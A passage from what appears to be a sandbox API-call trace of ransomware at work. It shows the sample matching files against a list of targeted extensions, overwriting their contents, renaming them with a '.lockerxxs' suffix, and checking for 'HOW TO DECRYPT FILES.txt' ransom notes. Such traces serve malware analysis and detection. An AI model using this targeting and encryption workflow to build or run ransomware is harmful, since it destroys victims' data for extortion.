(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbo") returned 0 [0087.377] lstrlenA (lpString="*.qbo") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbx") returned 0 [0087.377] lstrlenA (lpString="*.qbx") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qba") returned 0 [0087.377] lstrlenA (lpString="*.qba") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qby") returned 0 [0087.377] lstrlenA (lpString="*.qby") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbj") returned 0 [0087.378] lstrlenA (lpString="*.qbj") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.ofx") returned 0 [0087.378] lstrlenA (lpString="*.ofx") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qif") returned 0 [0087.378] lstrlenA (lpString="*.qif") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.mye") returned 0 [0087.378] lstrlenA (lpString="*.mye") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.mbox") returned 0 [0087.378] lstrlenA (lpString="*.mbox") returned 6 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.eml") returned 0 [0087.378] lstrlenA (lpString="*.eml") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.pst") returned 0 [0087.378] lstrlenA (lpString="*.pst") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.ost") returned 0 [0087.378] lstrlenA (lpString="*.ost") returned 5 [0087.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.idx") returned 0 [0087.378] lstrlenA (lpString="*.idx") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.dbx") returned 0 [0087.379] lstrlenA (lpString="*.dbx") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.sql") returned 0 [0087.379] lstrlenA (lpString="*.sql") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.mdb") returned 0 [0087.379] lstrlenA (lpString="*.mdb") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.fdb") returned 0 [0087.379] lstrlenA (lpString="*.fdb") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.wab") returned 0 [0087.379] lstrlenA (lpString="*.wab") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.dat") returned 0 [0087.379] lstrlenA (lpString="*.dat") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.txt") returned 0 [0087.379] lstrlenA (lpString="*.txt") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.jpeg") returned 0 [0087.379] lstrlenA (lpString="*.jpeg") returned 6 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.jpg") returned 0 [0087.379] lstrlenA (lpString="*.jpg") returned 5 [0087.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.png") returned 1 [0087.380] lstrlenA (lpString="*.png") returned 5 [0087.380] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" [0087.380] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" [0087.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png." [0087.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png.lockerxxs" [0087.380] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\db_yqmrzj3xg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.381] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x58f7 [0087.381] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xfcc94760, dwHighDateTime=0x1d5e75a), lpLastAccessTime=0x407536*(dwLowDateTime=0x77295f20, dwHighDateTime=0x1d5e370), lpLastWriteTime=0x40753e*(dwLowDateTime=0x77295f20, dwHighDateTime=0x1d5e370)) returned 1 [0087.381] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.381] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x58d1, lpOverlapped=0x0) returned 1 [0087.383] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png") returned="dB_yQMrzJ3xG.png" [0087.383] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.383] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x58d1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x58d1, lpOverlapped=0x0) returned 1 [0087.384] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.384] CloseHandle (hObject=0x8c) returned 1 [0087.384] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\db_yqmrzj3xg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\db_yqmrzj3xg.png.lockerxxs")) returned 1 [0087.386] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8baeb20, ftCreationTime.dwHighDateTime=0x1d5e3d7, ftLastAccessTime.dwLowDateTime=0x2ce92ac0, ftLastAccessTime.dwHighDateTime=0x1d5d7d2, ftLastWriteTime.dwLowDateTime=0x2ce92ac0, ftLastWriteTime.dwHighDateTime=0x1d5d7d2, nFileSizeHigh=0x0, nFileSizeLow=0x5ffe, dwReserved0=0x33000330, dwReserved1=0x4e00c4, cFileName="dscIbF2KrDv2DIyL.mp4", cAlternateFileName="DSCIBF~1.MP4")) returned 1 [0087.386] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dscIbF2KrDv2DIyL.mp4") returned 1 [0087.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dscIbF2KrDv2DIyL.mp4") returned 1 [0087.386] lstrcmpiA (lpString1="", lpString2="dscIbF2KrDv2DIyL.mp4") returned -1 [0087.386] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png") returned="dB_yQMrzJ3xG.png" [0087.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.386] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.386] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="dscIbF2KrDv2DIyL.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" [0087.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.ems") returned 0 [0087.386] lstrlenA (lpString="*.ems") returned 5 [0087.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.db") returned 0 [0087.386] lstrlenA (lpString="*.db") returned 4 [0087.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.dbf") returned 0 [0087.386] lstrlenA (lpString="*.dbf") returned 5 [0087.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.myox") returned 0 [0087.386] lstrlenA (lpString="*.myox") returned 6 [0087.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.myo") returned 0 [0087.387] lstrlenA (lpString="*.myo") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbw") returned 0 [0087.387] lstrlenA (lpString="*.qbw") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbb") returned 0 [0087.387] lstrlenA (lpString="*.qbb") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbm") returned 0 [0087.387] lstrlenA (lpString="*.qbm") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbo") returned 0 [0087.387] lstrlenA (lpString="*.qbo") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbx") returned 0 [0087.387] lstrlenA (lpString="*.qbx") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qba") returned 0 [0087.387] lstrlenA (lpString="*.qba") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qby") returned 0 [0087.387] lstrlenA (lpString="*.qby") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qbj") returned 0 [0087.387] lstrlenA (lpString="*.qbj") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.ofx") returned 0 [0087.387] lstrlenA (lpString="*.ofx") returned 5 [0087.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.qif") returned 0 [0087.387] lstrlenA (lpString="*.qif") returned 5 [0087.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.mye") returned 0 [0087.388] lstrlenA (lpString="*.mye") returned 5 [0087.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.mbox") returned 0 [0087.388] lstrlenA (lpString="*.mbox") returned 6 [0087.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.eml") returned 0 [0087.388] lstrlenA (lpString="*.eml") returned 5 [0087.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.pst") returned 0 [0087.388] lstrlenA (lpString="*.pst") returned 5 [0087.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.ost") returned 0 [0087.389] lstrlenA (lpString="*.ost") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.idx") returned 0 [0087.389] lstrlenA (lpString="*.idx") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.dbx") returned 0 [0087.389] lstrlenA (lpString="*.dbx") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.sql") returned 0 [0087.389] lstrlenA (lpString="*.sql") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.mdb") returned 0 [0087.389] lstrlenA (lpString="*.mdb") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.fdb") returned 0 [0087.389] lstrlenA (lpString="*.fdb") returned 5 [0087.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.wab") returned 0 [0087.389] lstrlenA (lpString="*.wab") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.dat") returned 0 [0087.390] lstrlenA (lpString="*.dat") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.txt") returned 0 [0087.390] lstrlenA (lpString="*.txt") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.jpeg") returned 0 [0087.390] lstrlenA (lpString="*.jpeg") returned 6 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.jpg") returned 0 [0087.390] lstrlenA (lpString="*.jpg") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.png") returned 0 [0087.390] lstrlenA (lpString="*.png") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.php") returned 0 [0087.390] lstrlenA (lpString="*.php") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.cs") returned 0 [0087.390] lstrlenA (lpString="*.cs") returned 4 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.cpp") returned 0 [0087.390] lstrlenA (lpString="*.cpp") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.rar") returned 0 [0087.390] lstrlenA (lpString="*.rar") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.zip") returned 0 [0087.390] lstrlenA (lpString="*.zip") returned 5 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.html") returned 0 [0087.390] lstrlenA (lpString="*.html") returned 6 [0087.390] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.htm") returned 0 [0087.391] lstrlenA (lpString="*.htm") returned 5 [0087.391] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.xlsx") returned 0 [0087.391] lstrlenA (lpString="*.xlsx") returned 6 [0087.391] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.xls") returned 0 [0087.391] lstrlenA (lpString="*.xls") returned 5 [0087.391] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", pszSpec="*.mp4") returned 1 [0087.391] lstrlenA (lpString="*.mp4") returned 5 [0087.391] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" [0087.391] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" [0087.391] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4." [0087.391] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4.lockerxxs" [0087.391] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dscibf2krdv2diyl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.392] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5ffe [0087.392] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd8baeb20, dwHighDateTime=0x1d5e3d7), lpLastAccessTime=0x407536*(dwLowDateTime=0x2ce92ac0, dwHighDateTime=0x1d5d7d2), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2ce92ac0, dwHighDateTime=0x1d5d7d2)) returned 1 [0087.392] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.392] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5fd8, lpOverlapped=0x0) returned 1 [0087.394] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4") returned="dscIbF2KrDv2DIyL.mp4" [0087.394] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.394] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5fd8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5fd8, lpOverlapped=0x0) returned 1 [0087.394] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.394] CloseHandle (hObject=0x8c) returned 1 [0087.395] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dscibf2krdv2diyl.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dscibf2krdv2diyl.mp4.lockerxxs")) returned 1 [0087.396] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4aa70, ftCreationTime.dwHighDateTime=0x1d5e3dd, ftLastAccessTime.dwLowDateTime=0x49357940, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x49357940, ftLastWriteTime.dwHighDateTime=0x1d5db9c, nFileSizeHigh=0x0, nFileSizeLow=0x17b2b, dwReserved0=0x2d00032e, dwReserved1=0x4e00c4, cFileName="DY9YtikVPP2o.mp3", cAlternateFileName="DY9YTI~1.MP3")) returned 1 [0087.396] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DY9YtikVPP2o.mp3") returned 1 [0087.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DY9YtikVPP2o.mp3") returned 1 [0087.396] lstrcmpiA (lpString1="", lpString2="DY9YtikVPP2o.mp3") returned -1 [0087.397] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dscIbF2KrDv2DIyL.mp4") returned="dscIbF2KrDv2DIyL.mp4" [0087.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS 